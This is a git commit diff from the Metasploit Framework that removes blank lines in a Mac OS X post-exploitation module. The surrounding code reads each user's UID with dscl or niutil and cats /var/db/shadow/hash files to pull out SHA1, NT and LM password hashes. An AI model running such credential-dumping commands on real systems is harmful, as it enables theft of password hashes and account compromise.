whitespace
git-svn-id: file:///home/svn/framework3/trunk@13789 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
28ec0e2aeb
commit
565fd957fb
|
@ -232,13 +232,9 @@ class Metasploit3 < Msf::Post
|
|||
# Process each user
|
||||
users.each do |user|
|
||||
if ver_num =~ /10\.(6|5)/
|
||||
|
||||
guid = cmd_exec("/usr/bin/dscl", "localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp
|
||||
|
||||
elsif ver_num =~ /10\.(4|3)/
|
||||
|
||||
guid = cmd_exec("/usr/bin/niutil","-readprop . /users/#{user} generateduid").chomp
|
||||
|
||||
end
|
||||
|
||||
# Extract the hashes
|
||||
|
@ -246,7 +242,6 @@ class Metasploit3 < Msf::Post
|
|||
nt_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c1-32").chomp
|
||||
lm_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c33-64").chomp
|
||||
|
||||
|
||||
# Check that we have the hashes and save them
|
||||
if sha1_hash !~ /00000000000000000000000000000000/
|
||||
print_status("SHA1:#{user}:#{sha1_hash}")
|
||||
|
|
Loading…
Reference in New Issue